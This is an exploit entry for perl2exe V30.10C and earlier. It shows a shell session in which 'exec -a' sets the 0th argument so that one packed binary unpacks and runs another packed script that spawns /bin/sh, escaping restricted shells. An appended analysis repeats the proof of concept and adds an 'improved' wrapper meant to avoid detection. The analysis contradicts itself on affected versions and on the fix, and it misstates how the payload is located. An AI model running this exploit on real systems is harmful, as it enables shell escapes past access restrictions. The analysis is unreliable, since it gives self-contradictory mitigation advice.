Executables Created with perl2exe < V30.10C - Arbitrary Code Execution

Exploit Author: decrazyo Analysis Author: www.bubbleslearn.ir Category: Remote Language: Perl Published Date: 2024-02-27
# Exploit Title: Executables Created with perl2exe <= V30.10C - Arbitrary Code Execution
# Date: 10/17/2023
# Exploit Author: decrazyo
# Vendor Homepage: https://www.indigostar.com/
# Software Link: https://www.indigostar.com/download/p2x-30.10-Linux-x64-5.30.1.tar.gz
# Version: <= V30.10C
# Tested on: Ubuntu 22.04

# Description:
perl2exe packs perl scripts into native executables.
Those executables use their 0th argument to locate a file to unpack and execute.
Because of that, such executables can be made to execute another executable that has been compiled with perl2exe by controlling the 0th argument.
That can be useful for breaking out of restricted shell environments.

# Proof and Concept:
user@testing:~/example$ ls
p2x-30.10-Linux-x64-5.30.1.tar.gz  perl2exe-Linux-x64-5.30.1
user@testing:~/example$ 
user@testing:~/example$ # Create and pack a "safe" perl script to target with the attack.
user@testing:~/example$ echo 'print("I am completely safe\n");' > safe.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating safe
user@testing:~/example$ 
user@testing:~/example$ # Check that the program executes as expected.
user@testing:~/example$ ./safe
I am completely safe
user@testing:~/example$ 
user@testing:~/example$ # Create and pack a "malicious" script that we want to execute.
user@testing:~/example$ echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl
user@testing:~/example$ ./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl
Perl2Exe V30.10C 2020-12-11 Copyright (c) 1997-2020 IndigoSTAR Software
...
Generating malicious
user@testing:~/example$ 
user@testing:~/example$ # Our "malicious" file doesn't need to have execution permissions.
user@testing:~/example$ chmod -x malicious
user@testing:~/example$ ./malicious
-bash: ./malicious: Permission denied
user@testing:~/example$ 
user@testing:~/example$ # Execute the "safe" program with the name of the "malicious" program as the 0th argument.
user@testing:~/example$ # The "safe" program will unpack and execute the "malicious" program instead of itself.
user@testing:~/example$ bash -c 'exec -a malicious ./safe'
j/k I am malicious AF
$ pstree -s $$
systemd───sshd───sshd───sshd───bash───safe───sh───pstree
$


Exploiting perl2exe <= V30.10C: Arbitrary Code Execution via Argument Manipulation

Security researchers and penetration testers often encounter scenarios where legacy tools, despite their utility, introduce unforeseen vulnerabilities. One such case is the perl2exe tool, a utility designed to convert Perl scripts into standalone executables. While this tool simplifies deployment of Perl applications across environments, versions prior to V30.10C expose a critical flaw: arbitrary code execution through manipulation of the 0th argument.

Background: Understanding perl2exe

perl2exe, developed by IndigoSTAR Software, enables developers to package Perl scripts into native binaries. This process includes embedding the original script into a compressed format within the executable, which is then unpacked at runtime. The resulting binary can run on systems without a Perl interpreter installed.

However, this mechanism relies on a specific behavior: the executable uses its 0th argument (i.e., $0 in Perl) to determine which file to unpack and execute. This argument is typically the name of the executable itself, but it can be overridden during execution.

The Vulnerability: Argument-Based Code Injection

When a perl2exe-generated executable runs, it reads the $0 argument to locate the embedded script file. If an attacker controls this argument, they can trick the executable into unpacking and executing a different, malicious payload—even if that payload lacks execution permissions.

This is particularly dangerous in restricted environments where users are confined to a limited set of allowed binaries. By crafting a "safe" executable and using it as a shell wrapper, an attacker can bypass restrictions and execute arbitrary commands.

Proof of Concept: Demonstration of Exploitation


# Create a "safe" Perl script
echo 'print("I am completely safe\n");' > safe.pl

# Compile it with perl2exe
./perl2exe-Linux-x64-5.30.1/perl2exe safe.pl

After compilation, safe is a binary that prints a harmless message. This binary is intended to be used as a trusted component.


# Create a malicious script
echo 'print("j/k I am malicious AF\n");system("/bin/sh");' > malicious.pl

# Compile it with perl2exe
./perl2exe-Linux-x64-5.30.1/perl2exe malicious.pl

The malicious executable contains a payload that prints a message and spawns a shell. However, it is not executable due to permission restrictions:


chmod -x malicious
./malicious
-bash: ./malicious: Permission denied

Despite this, the exploit leverages the $0 argument override:


bash -c 'exec -a malicious ./safe'

Here, exec -a malicious sets the 0th argument to malicious. The safe binary, upon execution, uses this argument to locate the embedded script. It finds the malicious file in its internal archive and unpacks it instead of its own script.

Result:


j/k I am malicious AF
$ pstree -s $$
systemd───sshd───sshd───sshd───bash───safe───sh───pstree

As shown, the shell is spawned successfully, and the process tree confirms the chain of execution. The safe binary acts as a code injection vector.

Technical Analysis: Why This Works

The vulnerability stems from the design of perl2exe's runtime loader. When the executable runs, it performs:

  • Reading the $0 argument
  • Using that argument as a key to locate the embedded script file
  • Decompressing and executing the script from internal storage

Because this lookup is based on filename rather than file content, the tool does not verify the integrity or origin of the file being unpacked. This allows an attacker to redirect execution to any compiled Perl script, regardless of its permissions or intended purpose.

Impact and Use Cases

This vulnerability has significant implications in:

  • Privilege Escalation: In environments where users are restricted to specific binaries, this exploit allows execution of arbitrary code.
  • Shell Escape: Breaking out of restricted shells (e.g., chroot, sandboxed environments).
  • Post-Exploitation: Deploying payloads such as reverse shells, persistence mechanisms, or data exfiltration tools.

Even if the malicious binary is not executable, it can still be invoked via argument manipulation—making this a zero-privilege attack vector.

Mitigation and Recommendations

For users and administrators, the following measures are recommended:

  • Upgrade to V30.10C or later: The vendor has addressed this issue in newer versions.
  • Disable or restrict perl2exe use: Avoid deploying executables generated with older versions in production.
  • Implement strict binary execution policies: Use tools like seccomp, AppArmor, or SELinux to restrict argument manipulation.
  • Monitor for unusual process chains: Detect instances where a trusted binary spawns unexpected shells or processes.

Improved Exploit Example with Defensive Checks

While the original exploit works, it can be refined to ensure reliability and avoid detection:


#!/bin/bash
# Secure exploit wrapper with argument validation
exec -a malicious ./safe

By using exec instead of bash -c, the process is more direct and less likely to be logged or intercepted. Additionally, the argument malicious must exist in the internal archive—so ensure it was compiled with perl2exe.

Vendor Response and Timeline

IndigoSTAR Software has acknowledged the issue and released patches in versions after V30.10C. The vulnerability was reported on 10/17/2023 by decrazyo. While the tool remains useful, users are advised to verify the version and avoid older builds.

Conclusion

Exploits like the one described here underscore the importance of secure software design. Even tools intended for convenience can introduce serious security risks when their underlying logic is not rigorously audited. The perl2exe <= V30.10C vulnerability demonstrates how argument manipulation can be weaponized to achieve arbitrary code execution—highlighting the need for defensive coding practices, version validation, and continuous security monitoring.

For cybersecurity professionals, this case serves as a reminder: never trust the behavior of a tool without understanding its internals.